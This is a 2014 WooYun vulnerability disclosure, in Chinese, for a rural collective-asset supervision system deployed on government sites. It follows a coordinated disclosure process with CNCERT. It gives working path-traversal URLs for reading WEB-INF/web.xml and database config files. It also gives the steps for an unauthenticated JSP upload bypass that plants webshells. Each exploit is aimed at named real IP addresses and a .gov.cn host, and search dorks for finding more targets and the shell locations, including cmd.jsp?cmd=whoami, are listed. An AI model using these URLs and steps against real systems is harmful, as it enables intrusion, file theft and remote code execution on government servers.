当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069864

漏洞标题:某政府监察平台通用任意文件下载、任意文件上传GETSHELL

相关厂商:cncert国家互联网应急中心

漏洞作者: sex is not show

提交时间:2014-07-28 15:44

修复时间:2014-10-26 15:46

公开时间:2014-10-26 15:46

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-28: 细节已通知厂商并且等待厂商处理中
2014-08-02: 厂商已经确认,细节仅向厂商公开
2014-08-05: 细节向第三方安全合作伙伴开放
2014-09-26: 细节向核心白帽子及相关领域专家公开
2014-10-06: 细节向普通白帽子公开
2014-10-16: 细节向实习白帽子公开
2014-10-26: 细节向公众公开

简要描述:

RT

详细说明:

开发公司:北京中农信达信息技术有限公司(http://www.agrij.com/)
程序名称:中农信达农村集体三资网络监管系统
漏洞类型:任意文件下载,任意文件上传导致代码执行
漏洞文件:servlet/downloadfile?filename= 文件下载
/hzs/HTMLEditor/upload_img.jsp 任意文件上传
是否需要登录:否
关键字:inurl:login_form.jsp
intitle:中农信达农村集体三资网络监管系统
影响用户:
以下案例百度搜集,方便演示:

http://202.99.207.13:8081/finance11n/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://124.164.240.217:8080/finance03/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://111.12.148.194:7005/finance_qhld/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://61.185.74.147:8080/finance67/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://nat.nat123.net:11158/finance/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://www.cldwcwgk.gov.cn:8083/finance80/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://116.255.135.35:8082/finance_glx/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://221.131.81.143:7001/finance_oracle/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/


一. 任意文件下载:
servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
实例演示:
1.
http://202.99.207.13:8081/finance11n/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/

1.jpg


2. 下载tomcat/conf/web.xml
http://124.164.240.217:8080/finance03/servlet/downloadfile?filename=/../../../conf/web.xml&userid=/

1.jpg


3. 下载WEB-INF/web_ODBC.xml文件
http://111.12.148.194:7005/finance_qhld/servlet/downloadfile?filename=/../WEB-INF/web_ODBC.xml&userid=/

1.jpg


4.下载WEB-INF/dbBean.java
http://61.185.74.147:8080/finance67/servlet/downloadfile?filename=/../WEB-INF/dbBean.java&userid=/

1.jpg


5.
http://www.cldwcwgk.gov.cn:8083/finance80/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/

1.jpg

漏洞证明:

二:任意文件上传导致代码执行
/hzs/HTMLEditor/upload_img.jsp
这个上传有点意思,源码分析一下吧

Hashtable formfields = new Hashtable();
int pos = contentType.indexOf("boundary="); //后台处理上传尽然用boundary=来切割处理数据...
if (pos != -1) {
pos += "boundary=".length();
boundary = "--" + contentType.substring(pos);
lastboundary = boundary + "--";
}
int state = 0;
DataInputStream in = new DataInputStream(request.getInputStream());
in.readFully(b);
in.close();
String reqcontent = new String(b);
BufferedReader reqbuf = new BufferedReader(new StringReader(reqcontent));
boolean flag = true;
int i = 0;
while (flag == true) {
String s = reqbuf.readLine();
if ((s == lastboundary) || (s == null)) break;
switch (state) {
case 0:
if (s.startsWith(boundary)) {
state = 1;
i++; } break;
case 1:
pos = s.indexOf("filename="); //在处理filename时,类似filename="xx.xx"中的第一个"双引号会直接带入文件名,这样就导致上传失败,所以上传时抓包去掉第一个双引号"
if (pos == -1) {
pos = s.indexOf("name=");
pos += "name=".length() + 1;
s = s.substring(pos);
int l = s.length();
s = s.substring(0, l - 1);
fieldname = s;
state = 3;
}


实例演示:
1.
http://124.164.240.217:8080/finance03/hzs/HTMLEditor/upload_img.jsp
直接选择jsp抓包,filepath改成存在的目录,这里我改成/hzs/;去掉filename="xxx.xx"中的第一个双引号:

1.jpg


shell地址:http://124.164.240.217:8080/finance03/hzs/JFolder.jsp

1.jpg


2.
http://61.185.74.147:8080/finance67/hzs/HTMLEditor/upload_img.jsp
直接选择jsp抓包,filepath改成存在的目录,这里我改成/hzs/;去掉filename="xxx.xx"中的第一个双引号:(这里提交包的时候,/finance67/会变成finance,记得改成/finance67)

1.jpg


shell地址:http://61.185.74.147:8080/finance67/hzs/JFolder.jsp

1.jpg


3.
http://www.cldwcwgk.gov.cn:8083/finance80/hzs/HTMLEditor/upload_img.jsp
方法同上:

1.jpg


shell地址:http://www.cldwcwgk.gov.cn:8083/finance80/hzs/JFolder.jsp

1.jpg


4.
http://116.255.135.35:8082/finance_glx/hzs/HTMLEditor/upload_img.jsp

1.jpg


shell地址:http://116.255.135.35:8082/finance_glx/hzs/Folder.jsp

1.jpg


5.
http://221.131.81.143:7001/financeold/hzs/HTMLEditor/upload_img.jsp

1.jpg


shell地址:http://221.131.81.143:7001/financeold/hzs/cmd.jsp?cmd=whoami

1.jpg

修复方案:

参数过滤。
上传限制类型

版权声明:转载请注明来源 sex is not show@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2014-08-02 09:38

厂商回复:

最新状态:

2014-08-04:CNVD确认并复现所述情况,已经由CNVD直接联系软件生产厂商处置。